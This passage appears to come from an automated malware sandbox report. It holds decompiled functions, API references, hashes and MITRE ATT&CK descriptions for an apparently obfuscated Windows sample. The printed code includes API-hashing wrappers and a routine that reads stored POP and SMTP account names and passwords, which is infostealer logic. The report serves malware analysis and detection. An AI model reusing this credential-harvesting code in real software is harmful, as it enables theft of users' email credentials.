Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = FindCloseChangeNotification(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Function 004058EA, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058EA(char* _a4, char* _a8) {
				char* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xc5c16604, 0, 0);
				_t4 = StrStrA(_a4, _a8); // executed
				return _t4;
			}

0x004058f8
0x00405903
0x00405906

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Uniqueness

Uniqueness Score: -1.00%

Function 00405924, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405924(WCHAR* _a4, WCHAR* _a8) {
				WCHAR* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xd6865bd4, 0, 0);
				_t4 = StrStrW(_a4, _a8); // executed
				return _t4;
			}

0x00405932
0x0040593d
0x00405940

APIs

StrStrW.KERNELBASE(?,?,00000002,D6865BD4,00000000,00000000), ref: 0040593D

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction ID: 5151f40d070928696ad3a3dfeafe9e6e8178c5ee17630b0dfe73cc98556a196c
Opcode Fuzzy Hash: 4bee70add85649cbd4a2768cfe9b9dcd091b7df8922090f97a094487be0f2036
Instruction Fuzzy Hash: 8FC04C311842087AEA112FD2DC07F587E1D9B45B58F104015B61C2C5D1DAB3A6105659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040434D, Relevance: 15.1, APIs: 10, Instructions: 135memorycomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040438F
CoCreateInstance.OLE32(00418EC0,00000000,00000001,00418EB0,?), ref: 004043A9
VariantInit.OLEAUT32(?), ref: 004043C4
SysAllocString.OLEAUT32(?), ref: 004043CD
VariantInit.OLEAUT32(?), ref: 00404414
SysAllocString.OLEAUT32(?), ref: 00404419
VariantInit.OLEAUT32(?), ref: 00404431

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InitVariant$AllocString$CreateInitializeInstance
String ID:
API String ID: 1312198159-0
Opcode ID: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction ID: 6cc2ba4480fbb4d68866773ab5e076051400aafb7d2546f6199fc19a864342a4
Opcode Fuzzy Hash: 36af1e644ba25a92da10ffd92c092694d7a96ee7919212810e1bb10a92bc3d30
Instruction Fuzzy Hash: 9A414C71A00609EFDB00EFE4DC84ADEBF79FF89314F10406AFA05AB190DB759A458B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040D069, Relevance: 12.6, Strings: 10, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040D069(void* __ebx, void* __eflags, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				intOrPtr _t40;
				intOrPtr _t45;
				intOrPtr _t47;
				void* _t71;
				void* _t75;
				void* _t77;

				_t72 = _a4;
				_t71 = E00404BEE(__ebx,  *_a4, L"EmailAddress");
				_t81 = _t71;
				if(_t71 != 0) {
					_push(__ebx);
					_t67 = E00404BEE(__ebx,  *_t72, L"Technology");
					_v16 = E00404BEE(_t37,  *_t72, L"PopServer");
					_v40 = E00404BA7(_t81,  *_t72, L"PopPort");
					_t40 = E00404BEE(_t37,  *_t72, L"PopAccount");
					_v8 = _v8 & 0x00000000;
					_v20 = _t40;
					_v24 = E00404C4E(_t71,  *_t72, L"PopPassword",  &_v8);
					_v28 = E00404BEE(_t67,  *_t72, L"SmtpServer");
					_v44 = E00404BA7(_t81,  *_t72, L"SmtpPort");
					_t45 = E00404BEE(_t67,  *_t72, L"SmtpAccount");
					_v12 = _v12 & 0x00000000;
					_v32 = _t45;
					_t47 = E00404C4E(_t71,  *_t72, L"SmtpPassword",  &_v12);
					_t77 = _t75 + 0x50;
					_v36 = _t47;
					if(_v8 != 0 || _v12 != 0) {
						E00405872( *0x49f934, _t71, 1, 0);
						E00405872( *0x49f934, _t67, 1, 0);
						_t74 = _v16;
						E00405872( *0x49f934, _v16, 1, 0);
						E00405781( *0x49f934, _v40);
						E00405872( *0x49f934, _v20, 1, 0);
						_push(_v8);
						E00405762(_v16,  *0x49f934, _v24);
						E00405872( *0x49f934, _v28, 1, 0);
						E00405781( *0x49f934, _v44);
						E00405872( *0x49f934, _v32, 1, 0);
						_push(_v12);
						E00405762(_t74,  *0x49f934, _v36);
						_t77 = _t77 + 0x88;
					} else {
						_t74 = _v16;
					}
					E0040471C(_t71);
					E0040471C(_t67);
					E0040471C(_t74);
					E0040471C(_v20);
					E0040471C(_v24);
					E0040471C(_v28);
					E0040471C(_v32);
					E0040471C(_v36);
				}
				return 1;
			}

0x0040d070
0x0040d080
0x0040d084
0x0040d086
0x0040d08c
0x0040d0a0
0x0040d0ae
0x0040d0bd
0x0040d0c0
0x0040d0c5
0x0040d0c9
0x0040d0e3
0x0040d0f2
0x0040d101
0x0040d104
0x0040d109
0x0040d110
0x0040d11e
0x0040d123
0x0040d126
0x0040d12d
0x0040d145
0x0040d154
0x0040d15a
0x0040d166
0x0040d174
0x0040d186
0x0040d18e
0x0040d19a
0x0040d1ac
0x0040d1ba
0x0040d1cc
0x0040d1d1
0x0040d1dd
0x0040d1e2
0x0040d1e7
0x0040d1e7
0x0040d1e7
0x0040d1eb
0x0040d1f1
0x0040d1f7
0x0040d1ff
0x0040d207
0x0040d20f
0x0040d217
0x0040d21f
0x0040d227
0x0040d230

Strings

EmailAddress, xrefs: 0040D074
SmtpPort, xrefs: 0040D0EB
PopServer, xrefs: 0040D099
SmtpServer, xrefs: 0040D0DC
PopPort, xrefs: 0040D0A7
SmtpAccount, xrefs: 0040D0FA
SmtpPassword, xrefs: 0040D117
Technology, xrefs: 0040D08D
PopAccount, xrefs: 0040D0B6
PopPassword, xrefs: 0040D0D0

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: EmailAddress$PopAccount$PopPassword$PopPort$PopServer$SmtpAccount$SmtpPassword$SmtpPort$SmtpServer$Technology
API String ID: 0-2111798378
Opcode ID: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction ID: 091e628055053f5eef329adcdd4db079f25726ad560f051e033024c376855220
Opcode Fuzzy Hash: 4f23c8655d16a9709c8d74bd686147b8dbb65e0931b573aa619d5bf1b9c89d18
Instruction Fuzzy Hash: AE414EB5941218BADF127BE6DD42F9E7F76EF94304F21003AF600721B2C77A99609B48

Uniqueness

Uniqueness Score: -1.00%

Function 0040317B, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040317B(intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr _t17;
				void* _t21;
				intOrPtr* _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t31;
				void* _t33;
				signed int _t34;

				_push(_t25);
				_t1 =  &_v8;
				 *_t1 = _v8 & 0x00000000;
				_t34 =  *_t1;
				_v8 =  *[fs:0x30];
				_t23 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xc)) + 0xc));
				_t31 = _t23;
				do {
					_v12 =  *((intOrPtr*)(_t31 + 0x18));
					_t28 = E00402C77(_t34,  *((intOrPtr*)(_t31 + 0x28)));
					_pop(_t26);
					_t35 = _t28;
					if(_t28 == 0) {
						goto L3;
					} else {
						E004032EA(_t35, _t28, 0);
						_t21 = E00402C38(_t26, _t28, E00405D24(_t28) + _t19);
						_t33 = _t33 + 0x14;
						if(_a4 == _t21) {
							_t17 = _v12;
						} else {
							goto L3;
						}
					}
					L5:
					return _t17;
					L3:
					_t31 =  *_t31;
				} while (_t23 != _t31);
				_t17 = 0;
				goto L5;
			}

0x0040317f
0x00403180
0x00403180
0x00403180
0x0040318d
0x00403196
0x00403199
0x0040319b
0x004031a1
0x004031a9
0x004031ab
0x004031ac
0x004031ae
0x00000000
0x004031b0
0x004031b3
0x004031c2
0x004031c7
0x004031cd
0x004031e0
0x00000000
0x00000000
0x00000000
0x004031cd
0x004031d7
0x004031dd
0x004031cf
0x004031cf
0x004031d1
0x004031d5
0x00000000

Memory Dump Source

Source File: 00000001.00000002.607379742.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction ID: 125f84157e295c2adc52e6f8c9cb261871d96e12da6c9e12f7e31892ee598d11
Opcode Fuzzy Hash: 5b57611fa40680ed248d57f37b4973e9bad199baf80beacdc2a2503593addd55
Instruction Fuzzy Hash: 0B01A272A10204ABDB21DF59C885E6FF7FCEB49761F10417FF804A7381D639AE008A64

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

